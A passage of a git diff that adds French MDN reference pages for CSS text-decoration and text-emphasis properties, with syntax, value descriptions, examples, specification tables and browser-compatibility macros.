+<pre class="brush: css">p {
+  text-decoration-line: underline;
+  text-decoration-style: wavy;
+  text-decoration-color: red;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 300, 60)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-decoration-line', 'text-decoration-line')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Définition initiale. La propriété {{cssxref("text-decoration")}} n'était pas une propriété raccourcie auparavant.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-decoration-line")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété raccourcie {{cssxref("text-decoration")}} qui permet, entre autres, de paramétrer <code>text-decoration-line</code>.</li>
+</ul>
diff --git a/files/fr/web/css/text-decoration-skip-ink/index.html b/files/fr/web/css/text-decoration-skip-ink/index.html
new file mode 100644
index 0000000000..862eccec08
--- /dev/null
+++ b/files/fr/web/css/text-decoration-skip-ink/index.html
@@ -0,0 +1,86 @@
+---
+title: text-decoration-skip-ink
+slug: Web/CSS/text-decoration-skip-ink
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+  - Web
+translation_of: Web/CSS/text-decoration-skip-ink
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>text-decoration-skip-ink</code></strong> définit la façon dont la ligne décorative (en dessous ou au dessus du texte) est dessinée lorsqu'elle rencontre <a href="https://fr.wikipedia.org/wiki/Jambage">le jambage</a> ou <a href="https://fr.wikipedia.org/wiki/F%C3%BBt_(typographie)">la hampe</a> d'un caractère (ou glyphe).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur avec un mot-clé */
+text-decoration-skip-ink: none;
+text-decoration-skip-ink: auto;
+
+/* Valeurs globales */
+text-decoration-skip: inherit;
+text-decoration-skip: initial;
+text-decoration-skip: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>La ligne décorative traverse l'ensemble des glyphes, qu'ils aient un jambage ou une hampe.</dd>
+ <dt><code>auto</code></dt>
+ <dd>La valeur par défaut : la ligne (au dessus ou en dessous du texte) est uniquement dessinée de façon à ne pas être proche des jambages ou hampes des glyphes. Autrement dit, la ligne est interrompue à chaque fois qu'elle croise un glyphe.</dd>
+ <dd><img alt='An example of "text-decoration-skip: ink;".' src="https://mdn.mozillademos.org/files/13464/decoration-skip-ink.png"></dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Un instant après, Alice était à la poursuite du Lapin dans le terrier…&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[4]">p {
+  margin: 0;
+  font-size: 2em;
+  text-decoration: underline blue;
+  text-decoration-skip-ink: auto;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", 60)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Text Decoration", "#text-decoration-skip-ink-property", "text-decoration-skip-ink")}}</td>
+   <td>{{Spec2("CSS4 Text Decoration")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-decoration-skip-ink")}}</p>
diff --git a/files/fr/web/css/text-decoration-skip/index.html b/files/fr/web/css/text-decoration-skip/index.html
new file mode 100644
index 0000000000..39d8c49dfa
--- /dev/null
+++ b/files/fr/web/css/text-decoration-skip/index.html
@@ -0,0 +1,107 @@
+---
+title: text-decoration-skip
+slug: Web/CSS/text-decoration-skip
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-decoration-skip
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-decoration-skip</code></strong> définit la façon dont les lignes décoratives doivent être appliquées aux éléments et aux caractères. Elle contrôle les lignes décoratives dessinées par l'élément courant ainsi que celles de ses ancêtres.</p>
+
+<pre class="brush: css no-line-numbers">/* Syntaxe avec un mot-clé */
+text-decoration-skip: none;
+text-decoration-skip: objects;
+text-decoration-skip: edges;
+text-decoration-skip: box-decoration;
+text-decoration-skip: spaces;
+
+/* Plusieurs mots-clés */
+text-decoration-skip: object spaces;
+text-decoration-skip: leading-spaces trailing-spaces;
+text-decoration-skip: objects edges box-decoration;
+
+/* Valeurs globales */
+text-decoration-skip: inherit;
+text-decoration-skip: initial;
+text-decoration-skip: unset;
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> La valeur <code>ink</code> initialement définie pour cette propriété a été déplacée vers la propriété {{cssxref("text-decoration-skip-ink")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>La propriété <code>text-decoration</code> s'applique à tous les éléments sélectionnés.</dd>
+ <dt><code>objects</code></dt>
+ <dd>La propriété <code>text-decoration</code> n'est pas appliquée pour les éléments en lignes atomiques telles que les images ou les blocs en lignes.</dd>
+ <dt><code>spaces</code></dt>
+ <dd>Les décorations ne sont pas appliquées où il y a des espaces (c'est-à-dire <a href="https://www.unicode.org/reports/tr44/#White_Space">des caractères Unicode considérés comme des blancs</a>, des séparateurs de mots et toute propriété {{cssxref("letter-spacing")}} ou {{cssxref("word-spacing")}} adjacente).</dd>
+ <dt><code>leading-spaces</code></dt>
+ <dd>Comportement analogue à <code>spaces</code> mais seuls les espaces avant les mots sont ignorés.</dd>
+ <dt><code>trailing-spaces</code></dt>
+ <dd>Comportement analogue à <code>spaces</code> mais seuls les espaces après les mots sont ignorés.</dd>
+ <dt><code>edges</code></dt>
+ <dd>La décoration de <code>text-decoration</code> est rognée vers l'intérieur de la moitié de la largueur de la ligne, vers la droite et la gauche..</dd>
+ <dd><img alt='An example of "text-decoration-skip: edges;".' src="https://mdn.mozillademos.org/files/13466/decoration-skip-edges.png" style="height: 77px; margin: 0px auto; width: 223px;"></dd>
+ <dt><code>box-decoration</code></dt>
+ <dd>La propriété <code>text-decoration</code> n'est pas appliquée pour les marges, bordures et zones de remplissage (<em>padding</em>) des éléments fils.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[4]">p {
+  margin: 0;
+  font-size: 3em;
+  text-decoration: underline;
+  text-decoration-skip: edge;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Bonjour tout le monde, quelle journée !&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", 60)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Text Decoration", "#text-decoration-skip-property", "text-decoration-skip")}}</td>
+   <td>{{Spec2("CSS4 Text Decoration")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-decoration-skip")}}</p>
diff --git a/files/fr/web/css/text-decoration-style/index.html b/files/fr/web/css/text-decoration-style/index.html
new file mode 100644
index 0000000000..28db746152
--- /dev/null
+++ b/files/fr/web/css/text-decoration-style/index.html
@@ -0,0 +1,117 @@
+---
+title: text-decoration-style
+slug: Web/CSS/text-decoration-style
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-decoration-style
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-decoration-style</code></strong> définit le style appliqué sur les lignes visées par {{cssxref("text-decoration-line")}}. Le style s'applique à toutes les lignes définies avec <code>text-decoration-line</code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Il n'existe pas de méthode permettant de mettre en forme les lignes décorées différemment les unes des autres.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/css/text-decoration-style.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Si la mise en forme appliquée possède une sémantique forte (par exemple barrer le texte pour indiquer qu'il a été supprimé), on recommande aux auteurs d'utiliser les balises HTML associées si elles existent (par exemple {{HTMLElement("del")}} ou {{HTMLElement("s")}}). Les navigateurs peuvent parfois désactiver la mise en forme et ces éléments permettent de conserver la sémantique du contenu quoi qu'il arrive.</p>
+
+<p>La propriété raccourcie {{cssxref("text-decoration")}} permet de paramétrer cette propriété et d'autres propriétés associées aux décorations.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec des mots-clés */
+text-decoration-style: solid;
+text-decoration-style: double;
+text-decoration-style: dotted;
+text-decoration-style: dashed;
+text-decoration-style: wavy;
+
+/* Valeurs globales */
+text-decoration-style: inherit;
+text-decoration-style: initial;
+text-decoration-style: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>solid</code></dt>
+ <dd>Dessine une ligne.</dd>
+ <dt><code>double</code></dt>
+ <dd>Dessine une double-ligne.</dd>
+ <dt><code>dotted</code></dt>
+ <dd>Dessiner une ligne avec des points.</dd>
+ <dt><code>dashed</code></dt>
+ <dd>Dessine une ligne avec des tirets.</dd>
+ <dt><code>wavy</code></dt>
+ <dd>Dessine une ligne ondulée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  -moz-text-decoration-line: underline;
+  -moz-text-decoration-style: wavy;
+  -moz-text-decoration-color: red;
+  -webkit-text-decoration-line: underline;
+  -webkit-text-decoration-style: wavy;
+  -webkit-text-decoration-color: red;
+  text-decoration-line: underline;
+  text-decoration-style: wavy;
+  text-decoration-color: red;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;Et voilà le résultat.&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-decoration-style', 'text-decoration-style')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Définition initiale. La propriété {{cssxref("text-decoration")}} n'était pas une propriété raccourcie auparavant.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-decoration-style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété raccourcie {{cssxref("text-decoration")}} qui permet, entre autres, de paramétrer <code>text-decoration-style</code>.</li>
+</ul>
diff --git a/files/fr/web/css/text-decoration-thickness/index.html b/files/fr/web/css/text-decoration-thickness/index.html
new file mode 100644
index 0000000000..ee195ade44
--- /dev/null
+++ b/files/fr/web/css/text-decoration-thickness/index.html
@@ -0,0 +1,111 @@
+---
+title: text-decoration-thickness
+slug: Web/CSS/text-decoration-thickness
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-decoration-thickness
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>text-decoration-thickness</code></strong> définit l'épaisseur ou la largeur de la ligne de décoration utilisée sur le texte d'un élément (la ligne qui raye, souligne ou surligne le texte).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Un seul mot-clé*/
+text-decoration-thickness: auto;
+text-decoration-thickness: from-font;
+
+/* Une valeur de longueur */
+text-decoration-thickness: 0.1em;
+text-decoration-thickness: 3px;
+
+/* Valeurs globales */
+text-decoration-thickness: inherit;
+text-decoration-thickness: initial;
+text-decoration-thickness: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Le navigateur choisit l'épaisseur pour la ligne de décoration.</dd>
+ <dt><code>from-font</code></dt>
+ <dd>Si le fichier de la police indique une épaisseur préférée, c'est cette valeur qui est utilisée. Si le fichier ne contient pas cette information, cette valeur est synonyme de <code>auto</code>.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Specifies the thickness of text decoration line as a {{cssxref('length')}}, overriding the font file suggestion or the browser default.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="longhand"&gt;Voici du texte avec un soulignement rouge de 2px.&lt;/p&gt;
+&lt;p class="under-and-over"&gt;Celui est souligné et surligné.&lt;/p&gt;
+&lt;p class="shorthand"&gt;Ce texte sera souligné avec une ligne bleue de 1px si la formulation raccourcie est prise en charge.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.longhand {
+  text-decoration-line: underline;
+  text-decoration-style: solid;
+  text-decoration-color: red;
+  text-decoration-thickness: 2px;
+}
+
+.under-and-over {
+  text-decoration-line: underline overline;
+  text-decoration-style: solid;
+  text-decoration-color: orange;
+  text-decoration-thickness: 0.2rem;
+}
+
+.shorthand {
+  text-decoration: underline solid blue 1px;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '', '', '')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Text Decoration', '#text-decoration-width-property', 'text-decoration-width')}}</td>
+   <td>{{Spec2('CSS4 Text Decoration')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Cette propriété était initialement intitulée <code>text-decoration-width</code> mais fut renommée en 2019 en <code>text-decoration-thickness</code>.</p>
+</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.text-decoration-thickness")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("text-decoration")}}</li>
+ <li>{{cssxref("text-underline-offset")}}</li>
+</ul>
diff --git a/files/fr/web/css/text-decoration/index.html b/files/fr/web/css/text-decoration/index.html
new file mode 100644
index 0000000000..c9c37513a5
--- /dev/null
+++ b/files/fr/web/css/text-decoration/index.html
@@ -0,0 +1,148 @@
+---
+title: text-decoration
+slug: Web/CSS/text-decoration
+tags:
+  - CSS
+  - Propriété
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/text-decoration
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-decoration</code></strong> est utilisée pour « décorer » le texte en ajoutant une ligne pouvant être positionnée sous, sur ou à travers le texte. C'est une <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">propriété raccourcie</a> qui permet de paramétrer simultanément les propriétés « détaillées » : {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-color")}} et {{cssxref("text-decoration-style")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-decoration.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Ces décorations se propagent sur les différents éléments enfants. Cela signifie qu'il n'est pas possible de désactiver la décoration d'un élément descendant pour lequel un ancêtre est décoré. Par exemple, avec ce fragment de HTML <code>&lt;p&gt;Ce texte a &lt;em&gt; des mots mis en avant&lt;/em&gt; dedans.&lt;/p&gt;</code>, et cette règle CSS <code>p { text-decoration: underline; }</code>, on aura tout le  paragraphe souligné, même si on applique la règle <code>em { text-decoration: none; }</code>, cela n'aurait aucun impact. En revanche, ajouter la règle <code>em { text-decoration: overline; }</code> entraînerait un cumul des décorations pour « des mots mis en avant ».</p>
+
+<div class="note style-wrap">
+<p><strong>Note : </strong>La spécification CSS Text Decoration de niveau 3 indique que cette propriété est une propriété raccourcie pour les trois propriétés {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}} et {{cssxref("text-decoration-style")}}. Comme pour les autres propriétés raccourcies, cela signifie que la valeur de chaque « sous-propriété » est réinitialisée avec sa valeur par défaut si elle n'est pas explicitement définie dans la propriété raccourcie.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* Valeurs avec mots-clés */
+text-decoration: none;                 /* Aucune décoration */
+text-decoration: underline red;        /* On souligne en rouge */
+text-decoration: underline wavy red;   /* On souligne en rouge avec */
+                                       /* une ligne ondulée */
+
+/* Valeurs globales */
+text-decoration: inherit;
+text-decoration: initial;
+text-decoration: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("text-decoration-line")}}</dt>
+ <dd>Cette valeur indique le type de décoration utilisée.</dd>
+ <dt>{{cssxref("text-decoration-color")}}</dt>
+ <dd>Cette valeur indique la couleur de la décoration utilisée.</dd>
+ <dt>{{cssxref("text-decoration-style")}}</dt>
+ <dd>Cette valeur indique le style à utiliser pour la décoration.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">.under {
+  text-decoration: underline red;
+}
+
+.over {
+  text-decoration: wavy overline lime;
+}
+
+.line {
+  text-decoration: line-through;
+}
+
+.plain {
+  text-decoration: none;
+}
+
+.underover {
+  text-decoration: dashed underline overline;
+}
+
+.blink {
+  text-decoration: blink;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p class="under"&gt;Ce texte a une ligne en dessous.&lt;/p&gt;
+&lt;p class="over"&gt;Ce texte a une ligne au dessus.&lt;/p&gt;
+&lt;p class="line"&gt;Ce texte est barré d'une ligne.&lt;/p&gt;
+&lt;p&gt;Ce &lt;a class="plain" href="#"&gt;lien ne sera pas souligné&lt;/a&gt;,
+    comme les liens le sont normalement. Attention à ces décorations
+    sur les ancres cars le soulignement sert souvent d'indication pour
+    un hyperlien.&lt;/p&gt;
+&lt;p class="underover"&gt;Ce texte a des lignes en dessous et au dessus.&lt;/p&gt;
+&lt;p class="blink"&gt;Ce texte peut clignoter selon le navigateur utilisé.&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples','auto','280')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-decoration-property', 'text-decoration')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Transformée comme une propriété raccourcie. Ajout du support pour la valeur de {{cssxref('text-decoration-style')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#lining-striking-props', 'text-decoration')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Pas de changement significatif.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#text-decoration', 'text-decoration')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-decoration")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'attribut {{cssxref("list-style")}} qui contrôle la façon dont les éléments apparaissent dans les listes HTML {{HTMLElement("ol")}} et {{HTMLElement("ul")}}.</li>
+ <li>Les propriétés détaillées associées à cette propriété raccourcie :
+  <ul>
+   <li>{{cssxref("text-decoration-line")}}</li>
+   <li>{{cssxref("text-decoration-color")}}</li>
+   <li>{{cssxref("text-decoration-style")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/text-emphasis-color/index.html b/files/fr/web/css/text-emphasis-color/index.html
new file mode 100644
index 0000000000..5b6f24d086
--- /dev/null
+++ b/files/fr/web/css/text-emphasis-color/index.html
@@ -0,0 +1,97 @@
+---
+title: text-emphasis-color
+slug: Web/CSS/text-emphasis-color
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-emphasis-color
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-emphasis-color</code></strong> définit la couleur utilisée pour dessiner les marques d'emphase. Celle-ci peut être (re)définie grâce à la propriété raccourcie {{cssxref("text-emphasis")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeur initiale */
+text-emphasis-color: currentColor;
+
+/* Valeur de couleur */
+/* Type &lt;color&gt; */
+text-emphasis-color: #555;
+text-emphasis-color: blue;
+text-emphasis-color: rgba(90, 200, 160, 0.8);
+text-emphasis-color: transparent;
+
+/* Valeurs globales */
+text-emphasis-color: inherit;
+text-emphasis-color: initial;
+text-emphasis-color: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Définit la couleur utilisée pour les marques. Si on ne définit pas de couleur, ce sera la couleur courante du texte qui sera utilisée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;&lt;em&gt;Coucou&lt;/em&gt;, je suis &lt;em&gt;là&lt;/em&gt;&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">em {
+  text-emphasis-style: sesame;
+  text-emphasis-color: blue;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-emphasis-color-property', 'text-emphasis')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-emphasis-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref('text-emphasis-style')}}</li>
+ <li>{{cssxref('text-emphasis')}}.</li>
+ <li>{{cssxref('text-emphasis-position')}}</li>
+ <li>Le type de données {{cssxref("&lt;color&gt;")}}</li>
+ <li>D'autres propriétés relatives aux couleurs {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}} et {{cssxref("column-rule-color")}}</li>
+ <li><a href="/fr/docs/Web/HTML/Applying_color">Appliquer des couleurs sur des éléments HTML</a></li>
+</ul>
diff --git a/files/fr/web/css/text-emphasis-position/index.html b/files/fr/web/css/text-emphasis-position/index.html
new file mode 100644
index 0000000000..2dfa5fb7cb
--- /dev/null
+++ b/files/fr/web/css/text-emphasis-position/index.html
@@ -0,0 +1,167 @@
+---
+title: text-emphasis-position
+slug: Web/CSS/text-emphasis-position
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-emphasis-position
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-emphasis-position</code></strong> permet de décrire l'emplacement des marques d'emphase quand elles sont utilisées. L'ajout des marques a le même effet que <a href="/fr/docs/Web/HTML/Element/ruby">les annotations ruby</a> quant à la hauteur de ligne : s'il n'y a pas suffisamment de place, la hauteur de la ligne est augmentée.</p>
+
+<pre class="brush:css">/* Valeur initiale */
+text-emphasis-position: over right;
+
+/* Valeurs avec mot-clé */
+text-emphasis-position: over left;
+text-emphasis-position: under right;
+text-emphasis-position: under left;
+
+
+text-emphasis-position: left over;
+text-emphasis-position: right under;
+text-emphasis-position: left under;
+
+/* Valeurs globales */
+text-emphasis-position: inherit;
+text-emphasis-position: initial;
+text-emphasis-position: unset;
+</pre>
+
+<h2 id="Position_privilégiée">Position privilégiée</h2>
+
+<p>La position des marques d'emphase varie en fonction du langage. Par exemple, en japonais, on préfère les placer au dessus à droite. En revanche, pour le chinois, on préfèrera en bas à droite. Le tableau qui suit illustre les différences, notamment entre le chinois, le mongolien et le japonais  :</p>
+
+<table>
+ <caption>Position privilégiée pour les marques d'emphase en ruby</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col">Langue</th>
+   <th colspan="2" scope="col">Position</th>
+   <th colspan="2" rowspan="2" scope="col">Illustration</th>
+  </tr>
+  <tr>
+   <th>Horizontale</th>
+   <th>Verticale</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Japanese</td>
